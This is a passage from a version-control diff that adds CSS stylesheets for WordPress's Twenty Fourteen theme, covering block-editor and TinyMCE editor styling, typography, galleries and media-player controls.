+	line-height: 15px;
+	padding: 10px 30px 11px;
+	text-transform: uppercase;
+	vertical-align: bottom;
+}
+
+.wp-block-file .wp-block-file__button:hover,
+.wp-block-file .wp-block-file__button:focus {
+	background-color: #41a62a;
+}
+
+.wp-block-file .wp-block-file__button:active {
+	background-color: #55d737;
+}
+
+/*--------------------------------------------------------------
+3.0 Blocks - Formatting
+--------------------------------------------------------------*/
+
+/* Code */
+
+.wp-block-code {
+	border: 0;
+	padding: 0;
+}
+
+/* Pullquote */
+
+.wp-block-pullquote {
+	border: 0;
+	margin: 0;
+}
+
+.wp-block-pullquote cite {
+	color: #2b2b2b;
+	font-size: 16px;
+	font-weight: 400;
+	margin-top: 0;
+	text-transform: none;
+}
+
+.wp-block-pullquote.alignleft {
+	margin-right: 1em;
+}
+
+.wp-block-pullquote.alignright {
+	margin-right: 1em;
+}
+
+@media screen and (min-width: 810px) {
+	.full-width .site-content .wp-block-pullquote.alignleft {
+		margin-left: -168px;
+	}
+
+	.full-width .site-content .wp-block-pullquote.alignright {
+		margin-right: -168px;
+	}
+}
+
+/* Table */
+
+.wp-block-table {
+	overflow-x: visible;
+}
+
+.wp-block-table th,
+.wp-block-table td {
+	border-color: rgba(0, 0, 0, 0.1);
+	border-width: 0 1px 1px 0;
+}
+
+/*--------------------------------------------------------------
+4.0 Blocks - Layout Elements
+--------------------------------------------------------------*/
+
+/* Buttons */
+
+.wp-block-button .wp-block-button__link {
+	font-size: 12px;
+	font-weight: 700;
+	line-height: 15px;
+	padding: 10px 30px 11px;
+	text-decoration: none;
+	text-transform: uppercase;
+	vertical-align: bottom;
+}
+
+.wp-block-button__link {
+	background-color: #24890d;
+	color: #fff;
+}
+
+.is-style-outline .wp-block-button__link:not(.has-text-color) {
+	color: #24890d;
+}
+
+.wp-block-button__link:hover,
+.wp-block-button__link:focus,
+.is-style-outline .wp-block-button__link:not(.has-text-color):hover,
+.is-style-outline .wp-block-button__link:not(.has-text-color):focus {
+	background-color: #41a62a;
+	color: #fff;
+}
+
+.wp-block-button__link:active {
+	background-color: #55d737;
+}
+
+/* Separator */
+
+.wp-block-separator {
+	border: 0;
+	max-width: 100px;
+}
+
+.wp-block-separator.is-style-wide {
+	max-width: 100%;
+}
+
+/* Media & Text */
+
+.wp-block-media-text {
+	margin-bottom: 24px;
+}
+
+.wp-block-media-text *:last-child {
+	margin-bottom: 0;
+}
+
+/*--------------------------------------------------------------
+5.0 Blocks - Widgets
+--------------------------------------------------------------*/
+
+/* Archives, Categories & Latest Posts */
+
+.wp-block-archives.aligncenter,
+.wp-block-categories.aligncenter,
+.wp-block-latest-posts.aligncenter {
+	list-style-position: inside;
+	margin-left: 20px;
+	text-align: center;
+}
+
+.rtl .wp-block-archives.aligncenter,
+.rtl .wp-block-categories.aligncenter,
+.rtl .wp-block-latest-posts.aligncenter {
+	margin-left: 0;
+	margin-right: 20px;
+}
+
+/* Latest Comments */
+
+.wp-block-latest-comments {
+	margin: 0;
+	padding: 0;
+}
+
+.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt,
+.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta {
+	margin-left: 60px;
+}
+
+.wp-block-latest-comments .avatar, .wp-block-latest-comments__comment-avatar {
+	border-radius: 0;
+	border: 1px solid rgba(0, 0, 0, 0.1);
+	padding: 2px;
+}
+
+.wp-block-latest-comments__comment,
+.wp-block-latest-comments__comment-excerpt,
+.wp-block-latest-comments__comment-excerpt p {
+	font-size: 16px;
+}
+
+.wp-block-latest-comments__comment-meta a {
+	color: #2b2b2b;
+	font-weight: 900;
+	text-decoration: none;
+}
+
+.wp-block-latest-comments_comment-meta a:hover,
+.wp-block-latest-comments_comment-meta a:focus {
+	color: #41a62a;
+}
+
+.wp-block-latest-comments__comment-excerpt p:last-child {
+}
+
+.wp-block-latest-comments__comment-date {
+	text-transform: uppercase;
+}
+
+.wp-block-latest-comments .wp-block-latest-comments__comment {
+	border-top: 1px solid rgba(0, 0, 0, 0.1);
+	margin-bottom: 24px;
+	padding-top: 24px;
+}
+
+/* Latest Posts */
+
+.wp-block-latest-posts.is-grid {
+	margin-left: 0;
+	margin-right: 0;
+}
+
+/*--------------------------------------------------------------
+6.0 Blocks - Colors
+--------------------------------------------------------------*/
+
+.has-green-color {
+	color: #24890d;
+}
+
+.has-green-background-color {
+	background-color: #24890d;
+}
+
+.has-black-color {
+	color: #000;
+}
+
+.has-black-background-color {
+	background-color: #000;
+}
+
+.has-dark-gray-color {
+	color: #2b2b2b;
+}
+
+.has-dark-gray-background-color {
+	background-color: #2b2b2b;
+}
+
+.has-medium-gray-color {
+	color: #767676;
+}
+
+.has-medium-gray-background-color {
+	background-color: #767676;
+}
+
+.has-light-gray-color {
+	color: #f5f5f5;
+}
+
+.has-light-gray-background-color {
+	background-color: #f5f5f5;
+}
+
+.has-white-color {
+	color: #fff;
+}
+
+.has-white-background-color {
+	background-color: #fff;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/css/editor-blocks.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/css/editor-blocks.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/css/editor-blocks.css	(revision 56912)
@@ -0,0 +1,484 @@
+/*
+Theme Name: Twenty Fourteen
+Description: Used to style blocks in the editor.
+*/
+
+/*--------------------------------------------------------------
+>>> TABLE OF CONTENTS:
+----------------------------------------------------------------
+1.0 General Typography
+2.0 General Block Styles
+3.0 Blocks - Common Blocks
+4.0 Blocks - Formatting
+5.0 Blocks - Layout Elements
+6.0 Blocks - Widgets
+--------------------------------------------------------------*/
+
+/*--------------------------------------------------------------
+1.0 General Typography
+--------------------------------------------------------------*/
+
+.edit-post-visual-editor .editor-block-list__block,
+.edit-post-visual-editor .editor-block-list__block p,
+.editor-default-block-appender textarea.editor-default-block-appender__content {
+	font-size: 16px;
+	line-height: 1.5;
+}
+
+.editor-default-block-appender textarea.editor-default-block-appender__content {
+	font-family: Lato, sans-serif;
+}
+
+.edit-post-visual-editor .editor-block-list__block {
+	color: #2b2b2b;
+}
+
+.editor-post-title__block .editor-post-title__input {
+	font-family: Lato, sans-serif;
+	font-size: 33px;
+	font-weight: 300;
+	line-height: 1.0909090909;
+	text-transform: uppercase;
+}
+
+/* Headers */
+
+.wp-block-freeform.block-library-rich-text__tinymce h1 {
+	font-size: 26px;
+}
+
+.wp-block-freeform.block-library-rich-text__tinymce h2 {
+	font-size: 24px;
+}
+
+.wp-block-freeform.block-library-rich-text__tinymce h3 {
+	font-size: 22px;
+}
+
+.wp-block-freeform.block-library-rich-text__tinymce h4 {
+	font-size: 20px;
+}
+
+.wp-block-freeform.block-library-rich-text__tinymce h5 {
+	font-size: 18px;
+}
+
+.wp-block-freeform.block-library-rich-text__tinymce h6 {
+	font-size: 16px;
+}
+
+/*--------------------------------------------------------------
+2.0 General Block Styles
+--------------------------------------------------------------*/
+
+/* Main column width */
+
+.wp-block {
+	max-width: 504px; /* 474px + 30px to account for padding */
+}
+
+/* Link styles */
+
+.edit-post-visual-editor a,
+.editor-block-list__block a,
+.wp-block-freeform.block-library-rich-text__tinymce a {
+	color: #24890d;
+}
+
+/* List styles */
+
+.wp-block-freeform.block-library-rich-text__tinymce li {
+	line-height: 1.5;
+}
+
+.edit-post-visual-editor ul:not(.wp-block-gallery),
+.editor-block-list__block ul:not(.wp-block-gallery),
+.block-library-list ul,
+.edit-post-visual-editor ol,
+.editor-block-list__block ol,
+.block-library-list ol {
+	margin: 0 0 1.6em 1.3333em;
+	padding: 0;
+}
+
+.block-library-list .editor-rich-text__tinymce {
+	padding: 0;
+}
+
+.edit-post-visual-editor ul:not(.wp-block-gallery),
+.editor-block-list__block ul:not(.wp-block-gallery),
+.block-library-list ul {
+	list-style: disc;
+}
+
+.edit-post-visual-editor ol,
+.editor-block-list__block ol,
+.block-library-list ol {
+	list-style: decimal;
+}
+
+.edit-post-visual-editor ul:not(.wp-block-gallery) li > ul,
+.editor-block-list__block ul:not(.wp-block-gallery) li > ul,
+.block-library-list li > ul,
+.edit-post-visual-editor li > ol,
+.editor-block-list__block li > ol,
+.block-library-list li > ol {
+	margin-bottom: 0;
+}
+
+.wp-block-freeform.block-library-rich-text__tinymce li,
+.editor-block-list__block li {
+	margin-bottom: 0;
+}
+
+.rtl .edit-post-visual-editor ul:not(.wp-block-gallery),
+.rtl .editor-block-list__block ul:not(.wp-block-gallery),
+.rtl .block-library-list ul,
+.rtl .edit-post-visual-editor ol,
+.rtl .editor-block-list__block ol,
+.rtl .block-library-list ol {
+	margin-left: 0;
+	margin-right: 1.3333em;
+}
+
+/* Code */
+
+.wp-block-freeform.block-library-rich-text__tinymce code {
+	background: transparent;
+}
+
+
+/* Captions */
+
+[class^="wp-block-"] figcaption,
+[class^="wp-block-"] figcaption.editor-rich-text__tinymce.mce-content-body {
+	font-size: 12px;
+	font-style: italic;
+	line-height: 1.5;
+	margin: 9px 0 0;
+}
+
+/* Tables */
+
+.edit-post-visual-editor .editor-block-list__block table,
+.edit-post-visual-editor .editor-block-list__block table th,
+.edit-post-visual-editor .editor-block-list__block table td {
+	border: 1px solid rgba(0, 0, 0, 0.1);
+	font-size: 14px;
+	line-height: 1.2857142857;
+}
+
+.edit-post-visual-editor .editor-block-list__block table {
+	border-collapse: separate;
+	border-spacing: 0;
+	border-width: 1px 0 0 1px;
+	margin-bottom: 24px;
+	width: 100%;
+}
+
+.edit-post-visual-editor .editor-block-list__block table th {
+	border-width: 0 1px 1px 0;
+	font-weight: 700;
+	text-align: left;
+	text-transform: uppercase;
+}
+
+.edit-post-visual-editor .editor-block-list__block table td {
+	border-width: 0 1px 1px 0;
+}
+
+.rtl .edit-post-visual-editor .editor-block-list__block table th {
+	text-align: right;
+}
+
+/* Quotes */
+
+.wp-block-freeform.block-library-rich-text__tinymce blockquote {
+	border-left: 0;
+	border-right: 0;
+	padding-left: 0;
+	padding-right: 0;
+}
+
+.wp-block-freeform.block-library-rich-text__tinymce blockquote p {
+	font-size: 19px;
+}
+
+/* Tables */
+
+.editor-block-list__block .wp-block-table th,
+.editor-block-list__block .wp-block-table td {
+	padding: 0;
+}
+
+/*--------------------------------------------------------------
+3.0 Blocks - Common Blocks
+--------------------------------------------------------------*/
+
+/* Paragraph */
+
+p.has-drop-cap:not(:focus)::first-letter {
+	font-size: 5em;
+}
+
+/* Image */
+
+.wp-block-image {
+	margin-bottom: 24px;
+	max-width: 800px;
+}
+
+.wp-block-image figcaption {
+	text-align: left;
+}
+
+@media screen and (min-width: 810px) {
+	[data-type="core/image"][data-align="left"] .editor-block-list__block-edit {
+		clear: left;
+		margin-left: -198px; /* 30px wider than front-end, to account for editor tool spacing */
+	}
+
+	[data-type="core/image"][data-align="right"] .editor-block-list__block-edit {
+		clear: right;
+		margin-right: -198px; /* 30px wider than front-end, to account for editor tool spacing */
+	}
+}
+
+.rtl .wp-block-image figcaption {
+	text-align: right;
+}
+
+/* Gallery */
+
+.editor-block-list__block .wp-block-gallery {
+	margin-left: 0;
+	margin-right: 0;
+}
+
+/* Quote */
+
+.editor-block-list__block .wp-block-quote p {
+	font-size: 19px;
+}
+
+.wp-block-quote:not(.is-large):not(.is-style-large) {
+	border-left: 0;
+	border-right: 0;
+	padding-left: 0;
+	padding-right: 0;
+}
+
+.wp-block-quote.is-large,
+.wp-block-quote.is-style-large {
+	padding: 0;
+}
+
+.wp-block-quote.is-large p,
+.wp-block-quote.is-style-large p {
+	font-size: 24px;
+	line-height: 1.6;
+}
+
+.wp-block-quote .wp-block-quote__citation {
+	color: #2b2b2b;
+	font-size: 16px;
+	font-weight: 400;
+	margin-top: 0;
+}
+
+.wp-block-quote.alignleft .wp-block-quote__citation,
+.wp-block-quote.alignright .wp-block-quote__citation {
+	display: inline-block;
+	margin-bottom: 17px;
+}
+
+@media screen and (min-width: 1200px) {
+	.editor-block-list__block .wp-block-quote.alignleft,
+	.editor-block-list__block .wp-block-quote.alignright {
+		width: -webkit-calc(50% + 130px);
+		width: calc(50% + 130px);
+	}
+
+	.editor-block-list__block .wp-block-quote.alignleft {
+		clear: left;
+		margin-left: -168px;
+	}
+
+	.editor-block-list__block .wp-block-quote.alignright {
+		clear: right;
+		margin-right: -168px;
+	}
+}
+
+/* Cover */
+
+.wp-block-cover-image.aligncenter,
+.wp-block-cover.aligncenter {
+	display: flex;
+}
+
+/* File */
+
+.wp-block-file .wp-block-file__textlink {
+	color: #24890d;
+	text-decoration: underline;
+}
+
+.wp-block-file .wp-block-file__button {
+	background-color: #24890d;
+	border: 0;
+	border-radius: 2px;
+	color: #fff;
+	font-size: 12px;
+	font-weight: 700;
+	line-height: normal;
+	padding: 10px 30px 11px;
+	text-transform: uppercase;
+	vertical-align: bottom;
+}
+
+.editor-block-list__block .wp-block-file .wp-block-file__button.mce-content-body {
+	line-height: normal;
+}
+
+/*--------------------------------------------------------------
+4.0 Blocks - Formatting
+--------------------------------------------------------------*/
+
+/* Code */
+
+.wp-block-code {
+	border: 0;
+	padding: 0;
+}
+
+/* Pullquote */
+
+.wp-block-pullquote {
+	border: 0;
+	margin: 0;
+}
+
+.wp-block-pullquote .wp-block-pullquote__citation {
+	color: #2b2b2b;
+	font-size: 16px;
+	font-weight: 400;
+	margin-top: 0;
+	text-transform: none;
+}
+
+.wp-block-pullquote.alignleft blockquote > .editor-rich-text p,
+.wp-block-pullquote.alignright blockquote > .editor-rich-text p {
+	font-size: 20px;
+}
+
+@media screen and (min-width: 810px) {
+	.editor-block-list__block .wp-block-pullquote.alignleft {
+		margin-left: -168px;
+	}
+
+	.editor-block-list__block .wp-block-pullquote.alignright {
+		margin-right: -168px;
+	}
+}
+
+/*--------------------------------------------------------------
+5.0 Blocks - Layout Elements
+--------------------------------------------------------------*/
+
+/* Buttons */
+
+.wp-block-button .wp-block-button__link {
+	font-size: 12px;
+	font-weight: 700;
+	padding: 10px 30px 11px;
+	text-transform: uppercase;
+	vertical-align: bottom;
+}
+
+.wp-block-button__link {
+	background-color: #24890d;
+	color: #fff;
+}
+
+.is-style-outline .wp-block-button__link {
+	color: #24890d;
+}
+
+.editor-block-list__block .wp-block-button .mce-content-body {
+	line-height: normal;
+}
+
+/* Media & Text */
+
+.wp-block-media-text *:last-child {
+	margin-bottom: 0;
+}
+
+/*--------------------------------------------------------------
+6.0 Blocks - Widgets
+--------------------------------------------------------------*/
+
+/* Archives, Categories & Latest Posts */
+
+[data-align="center"] .wp-block-archives ul,
+[data-align="center"] .wp-block-categories ul,
+[data-align="center"] .wp-block-categories ul {
+	list-style-position: inside;
+}
+
+.wp-block-archives li a,
+.wp-block-categories__list li a,
+.wp-block-latest-posts li a {
+	text-decoration: underline;
+}
+
+/* Latest Comments */
+
+.editor-block-list__block ol.wp-block-latest-comments,
+.rtl .editor-block-list__block ol.wp-block-latest-comments {
+	margin: 0;
+	padding: 0;
+}
+
+.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt,
+.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta {
+	margin-left: 60px;
+}
+
+.wp-block-latest-comments .avatar, .wp-block-latest-comments__comment-avatar {
+	border-radius: 0;
+	border: 1px solid rgba(0, 0, 0, 0.1);
+	padding: 2px;
+}
+
+.wp-block-latest-comments__comment,
+.wp-block-latest-comments__comment-excerpt,
+.wp-block-latest-comments__comment-excerpt p {
+	font-size: 16px;
+}
+
+.editor-block-list__block .wp-block-latest-comments__comment-meta a,
+.editor-block-list__block .wp-block-latest-comments__comment-meta a:visited {
+	color: #2b2b2b;
+	font-weight: 900;
+	text-decoration: none;
+}
+
+.wp-block-latest-comments__comment-date {
+	text-transform: uppercase;
+}
+
+.wp-block-latest-comments .wp-block-latest-comments__comment {
+	border-top: 1px solid rgba(0, 0, 0, 0.1);
+	margin-bottom: 24px;
+	padding-top: 24px;
+}
+
+/* Latest Posts */
+
+.edit-post-visual-editor .editor-block-list__block .wp-block-latest-posts.is-grid {
+	list-style: none;
+	margin-left: 0;
+	margin-right: 0;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/css/editor-style.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/css/editor-style.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/css/editor-style.css	(revision 56912)
@@ -0,0 +1,720 @@
+/*
+Theme Name: Twenty Fourteen
+Description: Used to style the TinyMCE editor.
+*/
+
+
+/**
+ * Table of Contents:
+ *
+ * 1.0 - Body
+ * 2.0 - Headings
+ * 3.0 - Text Elements
+ * 4.0 - Links
+ * 5.0 - Alignment
+ * 6.0 - Tables
+ * 7.0 - Images
+ * 8.0 - Galleries
+ * 9.0 - Audio/Video
+ * 10.0 - RTL
+ * ----------------------------------------------------------------------------
+ */
+
+
+/**
+ * 1.0 Body
+ * ----------------------------------------------------------------------------
+ */
+
+html .mceContentBody {
+	font-size: 100%;
+	max-width: 474px;
+}
+
+body {
+	color: #2b2b2b;
+	font-family: Lato, sans-serif;
+	font-weight: 400;
+	line-height: 1.5;
+	vertical-align: baseline;
+}
+
+
+/**
+ * 2.0 Headings
+ * ----------------------------------------------------------------------------
+ */
+
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+	clear: both;
+	font-weight: 700;
+	margin: 36px 0 12px;
+}
+
+h1 {
+	font-size: 26px;
+	line-height: 1.3846153846;
+}
+
+h2 {
+	font-size: 24px;
+	line-height: 1;
+}
+
+h3 {
+	font-size: 22px;
+	line-height: 1.0909090909;
+}
+
+h4 {
+	font-size: 20px;
+	line-height: 1.2;
+}
+
+h5 {
+	font-size: 18px;
+	line-height: 1.3333333333;
+}
+
+h6 {
+	font-size: 16px;
+	line-height: 1.5;
+}
+
+h1:first-child,
+h2:first-child,
+h3:first-child,
+h4:first-child,
+h5:first-child,
+h6:first-child {
+	margin-top: 0;
+}
+
+
+/**
+ * 3.0 Text Elements
+ * ----------------------------------------------------------------------------
+ */
+
+address {
+	font-style: italic;
+	margin-bottom: 24px;
+}
+
+abbr[title] {
+	border-bottom: 1px dotted #2b2b2b;
+	cursor: help;
+}
+
+b,
+strong {
+	font-weight: 700;
+}
+
+cite {
+	border: 0;
+}
+
+cite,
+dfn,
+em,
+i {
+	font-style: italic;
+}
+
+mark,
+ins {
+	background: #fff9c0;
+	border: 0;
+	color: inherit;
+	text-decoration: none;
+}
+
+p {
+	margin: 0 0 24px;
+}
+
+code,
+kbd,
+tt,
+var,
+samp,
+pre {
+	font-family: monospace, serif;
+	font-size: 15px;
+	line-height: 1.6;
+}
+
+pre {
+	border: 1px solid rgba(0, 0, 0, 0.1);
+	margin-bottom: 24px;
+	max-width: 100%;
+	overflow: auto;
+	padding: 12px;
+	white-space: pre;
+	white-space: pre-wrap;
+	word-wrap: break-word;
+}
+
+blockquote,
+q {
+	quotes: none;
+}
+
+blockquote:before,
+blockquote:after,
+q:before,
+q:after {
+	content: "";
+	content: none;
+}
+
+blockquote {
+	color: #767676;
+	font-size: 19px;
+	font-style: italic;
+	font-weight: 300;
+	line-height: 1.2631578947;
+	margin: 0 0 24px;
+}
+
+blockquote cite,
+blockquote small {
+	color: #2b2b2b;
+	font-size: 16px;
+	font-weight: 400;
+	line-height: 1.5;
+}
+
+blockquote em,
+blockquote i,
+blockquote cite {
+	font-style: normal;
+}
+
+blockquote strong,
+blockquote b {
+	font-weight: 400;
+}
+
+small {
+	font-size: smaller;
+}
+
+big {
+	font-size: 125%;
+}
+
+sup,
+sub {
+	font-size: 75%;
+	height: 0;
+	line-height: 0;
+	position: relative;
+	vertical-align: baseline;
+}
+
+sup {
+	bottom: 1ex;
+}
+
+sub {
+	top: .5ex;
+}
+
+dl {
+	margin: 0 0 24px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+dd {
+	margin: 0 0 24px;
+}
+
+ul,
+ol {
+	list-style: none;
+	margin: 0 0 24px 20px;
+	padding-left: 0;
+}
+
+ul {
+	list-style: disc;
+}
+
+ol {
+	list-style: decimal;
+}
+
+li > ul,
+li > ol {
+	margin: 0 0 0 20px;
+}
+
+del {
+	color: #767676;
+}
+
+hr {
+	background-color: rgba(0, 0, 0, 0.1);
+	border: 0;
+	height: 1px;
+	margin-bottom: 23px;
+}
+
+
+/**
+ * 4.0 Links
+ * ----------------------------------------------------------------------------
+ */
+
+a {
+	color: #24890d;
+	text-decoration: none;
+}
+
+a:visited {
+	color: #24890d;
+}
+
+a:focus {
+	outline: thin dotted;
+}
+
+a:active,
+a:hover {
+	color: #41a62a;
+	outline: 0;
+}
+
+
+/**
+ * 5.0 Alignment
+ * ----------------------------------------------------------------------------
+ */
+
+.alignleft {
+	float: left;
+	margin: 7px 24px 7px 0;
+}
+
+.alignright {
+	float: right;
+	margin: 7px 0 7px 24px;
+}
+
+.aligncenter {
+	clear: both;
+	display: block;
+	margin: 7px auto;
+}
+
+blockquote.alignleft,
+blockquote.alignright {
+	border-top: 1px solid rgba(0, 0, 0, 0.1);
+	border-bottom: 1px solid rgba(0, 0, 0, 0.1);
+	padding-top: 17px;
+	width: 50%;
+}
+
+blockquote.alignleft p,
+blockquote.alignright p {
+	margin-bottom: 17px;
+}
+
+
+/**
+ * 6.0 Tables
+ * ----------------------------------------------------------------------------
+ */
+
+.mceItemTable,
+.mce-item-table {
+	border: 1px solid rgba(0, 0, 0, 0.1);
+	border-width: 1px 0 0 1px;
+	border-collapse: separate;
+	border-spacing: 0;
+	font-size: 14px;
+	line-height: 1.2857142857;
+	margin-bottom: 24px;
+	width: 100%;
+}
+
+.mceItemTable th,
+.mceItemTable caption,
+.mce-item-table th,
+.mce-item-table caption {
+	border: 1px solid rgba(0, 0, 0, 0.1);
+	border-width: 0 1px 1px 0;
+	font-weight: 700;
+	padding: 8px;
+	text-align: left;
+	text-transform: uppercase;
+	vertical-align: baseline;
+}
+
+.mceItemTable td,
+.mce-item-table td {
+	border: 1px solid rgba(0, 0, 0, 0.1);
+	border-width: 0 1px 1px 0;
+	font-family: Lato, sans-serif;
+	font-size: 14px;
+	padding: 8px;
+	vertical-align: baseline;
+}
+
+
+/**
+ * 7.0 Images
+ * ----------------------------------------------------------------------------
+ */
+
+img {
+	height: auto;
+	max-width: 100%;
+	vertical-align: middle;
+}
+
+.wp-caption {
+	background: transparent;
+	border: none;
+	color: #767676;
+	margin: 0 0 24px 0;
+	max-width: 100%;
+	padding: 0;
+	text-align: left;
+}
+
+.html5-captions .wp-caption {
+	padding: 0;
+}
+
+.wp-caption.alignleft {
+	margin: 7px 14px 7px 0;
+}
+
+.html5-captions .wp-caption.alignleft {
+	margin-right: 24px;
+}
+
+.wp-caption.alignright {
+	margin: 7px 0 7px 14px;
+}
+
+.wp-caption.alignright img,
+.wp-caption.alignright .wp-caption-dd {
+	padding-left: 10px;
+}
+
+.html5-captions .wp-caption.alignright {
+	margin-left: 24px;
+}
+
+.html5-captions .wp-caption.alignright img,
+.html5-captions .wp-caption.alignright .wp-caption-dd {
+	padding: 0;
+}
+
+.wp-caption.aligncenter {
+	margin: 7px auto;
+}
+
+.wp-caption-dt {
+	margin: 0;
+}
+
+.wp-caption .wp-caption-text,
+.wp-caption-dd {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+	font-size: 12px;
+	font-style: italic;
+	line-height: 1.5;
+	margin: 9px 0;
+	padding: 0 10px 0 0; /* Avoid the caption to overflow the width of the image because wp-caption has 10px wider width */
+	text-align: left;
+}
+
+.mceTemp + ul,
+.mceTemp + ol {
+	list-style-position: inside;
+}
+
+/**
+ * 8.0 Gallery
+ * -----------------------------------------------------------------------------
+ */
+
+.gallery .gallery-item {
+	float: left;
+	margin: 0 4px 4px 0;
+	overflow: hidden;
+	padding: 0;
+	position: relative;
+}
+
+.gallery-columns-1 .gallery-item {
+	max-width: 100%;
+	width: auto;
+}
+
+.gallery-columns-2 .gallery-item {
+	max-width: 48%;
+	max-width: -webkit-calc(50% - 14px);
+	max-width:         calc(50% - 14px);
+	width: auto;
+}
+
+.gallery-columns-3 .gallery-item {
+	max-width: 32%;
+	max-width: -webkit-calc(33.3% - 11px);
+	max-width:         calc(33.3% - 11px);
+	width: auto;
+}
+
+.gallery-columns-4 .gallery-item {
+	max-width: 23%;
+	max-width: -webkit-calc(25% - 9px);
+	max-width:         calc(25% - 9px);
+	width: auto;
+}
+
+.gallery-columns-5 .gallery-item {
+	max-width: 19%;
+	max-width: -webkit-calc(20% - 8px);
+	max-width:         calc(20% - 8px);
+	width: auto;
+}
+
+.gallery-columns-6 .gallery-item {
+	max-width: 15%;
+	max-width: -webkit-calc(16.7% - 7px);
+	max-width:         calc(16.7% - 7px);
+	width: auto;
+}
+
+.gallery-columns-7 .gallery-item {
+	max-width: 13%;
+	max-width: -webkit-calc(14.28% - 7px);
+	max-width:         calc(14.28% - 7px);
+	width: auto;
+}
+
+.gallery-columns-8 .gallery-item {
+	max-width: 11%;
+	max-width: -webkit-calc(12.5% - 6px);
+	max-width:         calc(12.5% - 6px);
+	width: auto;
+}
+
+.gallery-columns-9 .gallery-item {
+	max-width: 9%;
+	max-width: -webkit-calc(11.1% - 6px);
+	max-width:         calc(11.1% - 6px);
+	width: auto;
+}
+
+.gallery-columns-1 .gallery-item:nth-of-type(1n),
+.gallery-columns-2 .gallery-item:nth-of-type(2n),
+.gallery-columns-3 .gallery-item:nth-of-type(3n),
+.gallery-columns-4 .gallery-item:nth-of-type(4n),
+.gallery-columns-5 .gallery-item:nth-of-type(5n),
+.gallery-columns-6 .gallery-item:nth-of-type(6n),
+.gallery-columns-7 .gallery-item:nth-of-type(7n),
+.gallery-columns-8 .gallery-item:nth-of-type(8n),
+.gallery-columns-9 .gallery-item:nth-of-type(9n) {
+	margin-right: 0;
+}
+
+.gallery-columns-1 .gallery-item:nth-of-type(1n),
+.gallery-columns-2 .gallery-item:nth-of-type(2n - 1),
+.gallery-columns-3 .gallery-item:nth-of-type(3n - 2),
+.gallery-columns-4 .gallery-item:nth-of-type(4n - 3),
+.gallery-columns-5 .gallery-item:nth-of-type(5n - 4),
+.gallery-columns-6 .gallery-item:nth-of-type(6n - 5),
+.gallery-columns-7 .gallery-item:nth-of-type(7n - 6),
+.gallery-columns-8 .gallery-item:nth-of-type(8n - 7),
+.gallery-columns-9 .gallery-item:nth-of-type(9n - 8) {
+	margin-left: 12px; /* Compensate for the default negative margin on .gallery, which can't be changed. */
+}
+
+.gallery .gallery-caption {
+	background-color: rgba(0, 0, 0, 0.7);
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing:    border-box;
+	box-sizing:         border-box;
+	color: #fff;
+	font-size: 12px;
+	line-height: 1.5;
+	margin: 0;
+	max-height: 50%;
+	opacity: 0;
+	padding: 6px 8px;
+	position: absolute;
+	bottom: 0;
+	left: 0;
+	text-align: left;
+	width: 100%;
+}
+
+.gallery .gallery-caption:before {
+	content: "";
+	height: 100%;
+	min-height: 49px;
+	position: absolute;
+	top: 0;
+	left: 0;
+	width: 100%;
+}
+
+.gallery-item:hover .gallery-caption {
+	opacity: 1;
+}
+
+.gallery-columns-7 .gallery-caption,
+.gallery-columns-8 .gallery-caption,
+.gallery-columns-9 .gallery-caption {
+	display: none;
+}
+
+
+/**
+ * 9.0 Audio/Video
+ * ----------------------------------------------------------------------------
+ */
+
+.mejs-mediaelement,
+.mejs-container .mejs-controls {
+	background: #000;
+}
+
+.mejs-controls .mejs-time-rail .mejs-time-loaded,
+.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current {
+	background: #fff;
+}
+
+.mejs-controls .mejs-time-rail .mejs-time-current {
+	background: #24890d;
+}
+
+.mejs-controls .mejs-time-rail .mejs-time-total,
+.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total {
+	background: rgba(255, 255, 255, .33);
+}
+
+.mejs-controls .mejs-time-rail span,
+.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total,
+.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current {
+	border-radius: 0;
+}
+
+.mejs-overlay-loading {
+	background: transparent;
+}
+
+.mejs-overlay-button {
+	background-color: #fff;
+	background-image: none;
+	border-radius: 2px;
+	box-shadow: 1px 1px 1px rgba(0,0,0,.8);
+	color: #000;
+	height: 36px;
+	width: 48px;
+}
+
+.mejs-overlay-button:before {
+	-webkit-font-smoothing: antialiased;
+	content: '\f452';
+	display: inline-block;
+	font: normal 32px/1.125 Genericons;
+	position: relative;
+	top: 1px;
+	left: 10px;
+}
+
+.mejs-controls .mejs-button button:focus {
+	outline: none;
+}
+
+.mejs-controls .mejs-button button {
+	-webkit-font-smoothing: antialiased;
+	background: none;
+	color: #fff;
+	display: inline-block;
+	font: normal 16px/1 Genericons;
+}
+
+.mejs-playpause-button.mejs-play button:before {
+	content: '\f452';
+}
+
+.mejs-playpause-button.mejs-pause button:before {
+	content: '\f448';
+}
+
+.mejs-volume-button.mejs-mute button:before {
+	content: '\f109';
+	font-size: 20px;
+	position: absolute;
+	top: -2px;
+	left: 0;
+}
+
+.mejs-volume-button.mejs-unmute button:before {
+	content: '\f109';
+	left: 0;
+	position: absolute;
+	top: 0;
+}
+
+.mejs-fullscreen-button button:before {
+	content: '\f474';
+}
+
+.mejs-fullscreen-button.mejs-unfullscreen button:before {
+	content: '\f406';
+}
+
+.mejs-overlay:hover .mejs-overlay-button {
+	background-color: #24890d;
+	color: #fff;
+}
+
+.mejs-controls .mejs-button button:hover {
+	color: #41a62a;
+}
+
+
+/**
+ * 10.0 RTL
+ * ----------------------------------------------------------------------------
+ */
+
+html .mceContentBody.rtl {
+	direction: rtl;
+	unicode-bidi: embed;
+}
+
+.rtl ol,
+.rtl ul {
